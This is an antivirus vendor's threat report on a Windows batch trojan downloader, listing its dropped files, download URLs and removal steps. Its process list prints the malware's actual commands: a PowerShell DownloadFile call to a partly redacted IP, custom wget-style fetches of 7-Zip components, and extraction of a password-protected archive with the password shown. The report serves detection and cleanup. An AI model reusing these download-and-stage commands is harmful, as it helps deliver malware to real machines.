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Trojan.BAT.POWLOAD.TIAOELM

March 01, 2023
 Analysis by: Francesca Villasanta
 ALIASES:

TrojanDownloader:BAT/Malgent!MSR (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

  TECHNICAL DETAILS

File Size:

1,172 bytes

File Type:

Other

Memory Resident:

No

Initial Samples Received Date:

11 Feb 2023

Payload:

Connects to URLs/IPs, Downloads components

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %Windows%\dell\sqhost_chk.exe → deleted afterwards
  • %Windows%\dell\update.7z
  • %Windows%\dell\7z.exe
  • %Windows%\dell\7z.dll
  • %Windows%\dell\netwalker_new → detected as Trojan.Linux.PROMETEI.B
  • %Windows%\dell\updates1_new.7z
  • %Windows%\dell\updates2_new.7z
  • %Windows%\dell\install.cmd
  • %Windows%\dell\uplugplay_new → detected as Trojan.Linux.PROMETEI.B
  • %Windows%\dell\sqhost_new.exe → detected as TROJ_GEN.R06CC0DB823
  • %Windows%\dell\rdpcIip_new.exe → detected as Trojan.Win32.PROMETEI.F

It adds the following processes:

  • %Windows%\sqhost.exe  -sha1chk BD54EBB8EED3D0731D014553D8760D805555E987 %Windows%\dell\sqhost_chk.exe;
  • powershell.exe (New-Object Net.WebClient).DownloadFile('http://{BLOCKED}.{BLOCKED}.128.244/update.7z','%Windows%\dell\update.7z')
  • %Windows%\sqhost.exe  -sha1chk A1BBD718B7CAA0F7A999A9B9D65B7C3208B1707E %Windows%\dell\update.7z
  • %Windows%\sqhost -chkxwget http://{BLOCKED}.{BLOCKED}.123.34/dwn.php?d=7z32.exe 7z.exe AC9674FEB8F2FAD20C1E046DE67F899419276AE79A60E8CC021A4BF472AE044F
  • %Windows%\sqhost -chkxwget http://{BLOCKED}.{BLOCKED}.123.34/dwn.php?d=7z32.dll 7z.dll A1E1D1F0FFF4FCCCFBDFA313F3BDFEA4D3DFE2C2D9174A615BBC39A0A6929338
  • %Windows%\dell\7z x %Windows%\dell\update.7z -phorhor123 -o%Windows%\dell -y
  • install.cmd

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Rootkit Capabilities

This Trojan does not have rootkit capabilities.

Download Routine

This Trojan connects to the following URL(s) to download its component file(s):

  • http://{BLOCKED}.{BLOCKED}.128.244/update.7z
  • http://{BLOCKED}.{BLOCKED}.123.34/dwn.php?d=7z32.exe
  • http://{BLOCKED}.{BLOCKED}.123.34/dwn.php?d=7z32.dll

Other Details

This Trojan does the following:

  • It requires the existence of the following to proceed with its routine:
    • %Windows%\sqhost.exe → used to download and check the integrity/version of component files
    • %Windows%\dell → directory used to store component files
  • It uses the downloaded 7z.exe to extract the component files from the downloaded password-protected zipped file.

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It does not exploit any vulnerability.

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

18.250.04

FIRST VSAPI PATTERN DATE:

11 Feb 2023

VSAPI OPR PATTERN File:

18.251.00

VSAPI OPR PATTERN Date:

12 Feb 2023

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %Windows%\dell\sqhost_chk.exe
  • %Windows%\dell\update.7z
  • %Windows%\dell\7z.exe
  • %Windows%\dell\7z.dll
  • %Windows%\dell\netwalker_new
  • %Windows%\dell\uplugplay_new
  • %Windows%\dell\updates1_new.7z
  • %Windows%\dell\updates2_new.7z
  • %Windows%\dell\install.cmd
  • %Windows%\dell\rdpcIip_new.exe
  • %Windows%\dell\sqhost_new.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.POWLOAD.TIAOELM. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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